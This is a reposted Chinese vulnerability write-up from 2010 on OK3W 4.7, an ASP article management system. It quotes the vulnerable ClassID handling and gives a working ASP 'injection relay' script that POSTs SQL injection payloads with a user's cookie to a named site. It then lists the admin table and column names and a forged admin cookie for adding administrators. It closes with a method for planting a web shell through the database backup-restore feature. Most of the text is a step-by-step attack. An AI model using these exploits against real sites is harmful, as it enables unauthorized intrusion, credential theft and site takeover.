發布日期:2010-05.123
發布作者:黑小子
影響版本: OK3W4.7
官方地址: //www.ok3w.net/
漏洞描述:
OK3W是一套文章管理系統,整套系統的程序結構是以自定義類來實現的,很有創意o(∩_∩)o...安全性還是比較好的,目前免費版4.7存在這個漏洞,官網也存在,不過不知道補了沒,上次路過被發現了后臺驗證過程
Public Function AdminIsLogin() If Trim(AdminName) = "" Then AdminIsLogin = 0"沒有登陸 Else If AdminLogin(AdminName,AdminPwd,"IsCheck")<>-1 Then AdminIsLogin = 0"Cookies錯誤 Else AdminIsLogin = -1"已經登陸 End If End If End Function Public Function AdminLogin(sAdminName,sAdminPwd,sType) AdminName = sAdminName Sql = "select * from Ok3w_Admin where AdminName=? and AdminPwd=?" Set AdminCmd = Server.CreateObject("Adodb.Command") AdminCmd.ActiveConnection = Conn AdminCmd.CommandType = 1 AdminCmd.CommandText = Sql AdminCmd.Parameters.Append(AdminCmd.CreateParameter("@AdminName",200,1,50,sAdminName)) AdminCmd.Parameters.Append(AdminCmd.CreateParameter("@AdminPwd",200,1,50,sAdminPwd)) Set AdminRs = Server.CreateObject("Adodb.RecordSet") Set AdminRs = AdminCmd.Execute response.write sAdminName&" "&sAdminPwd&"" response.write AdminCmd.CommandText Set AdminCmd = Nothing If AdminRs.Eof And AdminRs.Bof Then AdminLogin = 1"用戶名或密碼錯誤 Else If AdminRs("AdminLock") Then AdminLogin = 2"用戶被鎖定 Else Response.Cookies("Ok3w")("AdminId") = AdminRs("AdminId") Response.Cookies("Ok3w")("AdminName") = AdminRs("AdminName") Response.Cookies("Ok3w")("AdminPwd") = AdminRs("AdminPwd") Response.Cookies("Ok3w")("GroupId") = AdminRs("GroupId") If sType="IsLogin" Then Call AdminActionLog("成功登陸") AdminLogin = -1"成功登陸 End If End If AdminRs.Close Set AdminRs = Nothing response.write adminlogin End Function
本來我看到這里以為可以好不費力的拿下,基礎過過關,這里登陸驗證雖然是采用cookies驗證,但是sql語句是用預編譯的方式進行查詢的,所以單引號這里是沒用的,不能用萬能密碼。(感謝ninty大牛指點)
所以我們只能注入拿到密碼了
看了他的加密方式,加密一次md5(32),取前16個字符,后16個字符分別加密md5(16),再合并(好像是這樣的,反正就是解不出來)
只能拿到密碼的密文和用戶名進行cookies欺騙了
漏洞文件:
user_index.asp
調用了article類中的
下面段代碼
Private Sub GetFormData() Id =
Request.QueryString("Id") If Id = "" Then
Id=GetMaxArticleID()+1 ChannelID =
Request.QueryString("ChannelID") ClassID =
Request.Form("ClassID") If ClassID="" Then ClassID =
-1 SortPath = "" Else SortPath = Conn.Execute("select
SortPath from Ok3w_Class where ID=" & ClassID)(0) "
這里沒過濾classid End If Title = Request.Form("Title")
TitleColor = Request.Form("TitleColor") TitleURL =
Request.Form("TitleURL") Keywords =
Request.Form("Keywords") Description =
Request.Form("Description") For i = 1 To
Request.Form("Content").Count ContentContent = Content &
Request.Form("Content")(i) Next If
Request.Form("eWebEditorUpFile") = "1" Then ePATH_INFO =
Request.ServerVariables("PATH_INFO") eTmp =
Split(ePATH_INFO,"/") ePATH_INFO = "" For ee=0 To
Ubound(eTmp)-2 ePATH_INFOePATH_INFO = ePATH_INFO + eTmp(ee) +
"/" Next Content =
Replace(Content,"../upfiles/","upfiles/") Content =
Replace(Content,"../editor/","editor/") Content =
Replace(Content,ePATH_INFO & "upfiles/","upfiles/")
Content = Replace(Content,ePATH_INFO &
"editor/","editor/") End If Author =
Request.Form("Author") ComeFrom =
Request.Form("ComeFrom") AddTime =
Request.Form("AddTime") Inputer =
Request.Form("Inputer") If Inputer="" Then Inputer =
Admin.AdminName IsPass = Request.Form("IsPass") If
IsPass = "" Then IsPass = 0 IsPic = Request.Form("IsPic") If
IsPic = "" Then IsPic = 0 PicFile = Request.Form("PicFile")
IsTop = Request.Form("IsTop") If IsTop = "" Then IsTop = 0
IsCommend = Request.Form("IsCommend") If IsCommend = "" Then
IsCommend = 0 IsDelete = Request.Form("IsDelete") If IsDelete
= "" Then IsDelete = 0 IsMove = Request.Form("IsMove") If
IsMove = "" Then IsMove = 0 IsPlay = Request.Form("IsPlay")
If IsPlay = "" Then IsPlay = 0 IsIndexImg =
Request.Form("IsIndexImg") If IsIndexImg = "" Then IsIndexImg
= 0 IsUserAdd = Request.Form("IsUserAdd") If IsUserAdd = ""
Then IsUserAdd = 0 GiveJifen = Request.Form("GiveJifen") If
GiveJifen = "" Then GiveJifen = 0 vUserGroupID =
Request.Form("vUserGroupID") If vUserGroupID = "" Then
vUserGroupID = 0 vUserMore = Request.Form("vUserMore") If
vUserMore = "" Then vUserMore = 0 vUserJifen =
Request.Form("vUserJifen") If vUserJifen = "" Then vUserJifen
= 0 pMoodStr = Request.Form("pMoodStr") If pMoodStr = "" Then
pMoodStr = "0,0,0,0,0,0,0,0" Hits = Request.Form("Hits") End
Sub
不過好像不知道再哪個文件調用中又把classid給cint掉了,所以實驗中發現
id=1 and 1=1 報錯:類型不匹配
id=1 and 1=2 報錯:找不到結果集
只能根據報錯信息來注入了,也就是說,要注入必須要報錯,服務器屏蔽了錯誤信息就沒辦法注入了
注入過程:
注冊一個用戶,登陸,得到cookies
<% JmdcwName=request("jmdcw") " 注入中轉站 POST 版,BY
寂寞的刺猬 [L.S.T]
JmStr="Title=111&Content=111111&UpFiles=&ComeFrom=%CE%D2%B5%C4%CD%F8%D5%BE&Author=%CE%D2%B5%C4%CD%F8%D5%BE&ClassID="&JmdcwName
JMUrl="http://www.heimian.com/User_Index.asp?a=a_edit&b=save&a_id=28"
"把localhost改為網址你的網址
JmRef="http://www.heimian.com/6kbbs/bank.asp"
JmCok="Ok3w=User%5FPassword=ed64d3bd1ad013789c2e6ee373a96d8b&User%5FName=gogolrq"
"把這里換成你的cookies JmCok=r e p l a c
e(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr)
response.write PostData(JMUrl,JmStr,JmCok,JmRef) Function
PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set
Http = Server.CreateObject("msxml2.serverXMLHTTP") With
Http .Open "POST",PostUrl,False .SetRequestHeader
"Content-Length",Len(PostStr) .SetRequestHeader
"Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef .SetRequestHeader
"Cookie",PostCok .Send PostStr PostData =
.ResponseBody End With Set Http = Nothing PostData
=bytes2BSTR(PostData) End Function Function
bytes2BSTR(vIn) Dim strReturn Dim I, ThisCharCode,
NextCharCode strReturn = "" For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode <
&H80 Then strReturnstrReturn = strReturn &
Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I
+ 1, 1)) strReturnstrReturn = strReturn &
Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) II =
I + 1 End If Next bytes2BSTR = strReturn End
Function Function URLEncoding(vstrin) strReturn="" Dim
i For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturnstrReturn=strReturn & ThisChr Else
InnerCode=Asc(ThisChr) If InnerCode<0 Then
InnerCodeInnerCode=InnerCode + &H10000 End If
Hight1=(InnerCode And &HFF00) \&HFF Low1=InnerCode
And &HFF strReturnstrReturn=strReturn & "%" &
Hex(Hight1) & "%" & Hex(Low1) End if Next
strReturn=Replace(strReturn,chr(32),"%20")
"轉換空格,如果網站過濾了空格,嘗試用/**/來代替%20
strReturn=Replace(strReturn,chr(43),"%2B") "JMDCW增加轉換+字符
"strReturn=Replace(strReturn,過濾字符,"轉換為字符") "在此增加要過濾的代碼
URLEncoding=strReturn End Function %>
復制代碼
修改完之后,注入地址 url/jmdcw.asp?jmdcw=123 or 1=1
表名為ok3w_admin
字段adminname,adminpwd
得到賬號和密碼后
偽造cookies
Ok3w=AdminPwd=be4b3b08e33d66fc8b2759a05bf4e10e&AdminName=admin&GroupId=%2C1%2C2%2C3%2C4%2C5%2C6%2C&AdminId=16
把
adminpwd后面的改成密文
adminname后面的改成用戶名
偽造cookies后
訪問 //www.heimian.com/admin/sys_admin.asp 就可以增加一個新的管理員
----------------------------------------------------------------------------------------------------------
進入后臺
數據庫一般為asp格式的,有notdown表
上傳無漏洞
備份功能:
被備份的原文件只能是原數據庫,不能更改,更改的也沒用
還原功能:
還原后的路徑也不能更改,更改了也沒用,這里可以得到數據庫地址
利用:
先把原數據庫備份,上傳一個gif馬,利用還原功能,還原成源數據庫地址(一般為asp,不是asp就沒戲了),得到shell
這時侯網站會訪問不了,進入后請把備份數據庫還原
本文轉自 ☆★ 包羅萬象網 ★☆ - //www.baoluowanxiang.com
轉載請注明出處,侵權必究!
原文鏈接://www.baoluowanxiang.com/a/net-offense/loophole/2010/0514/794.html
包羅萬象網
地址:北京市海淀區高粱橋斜街44號 技術支持:成都九正科技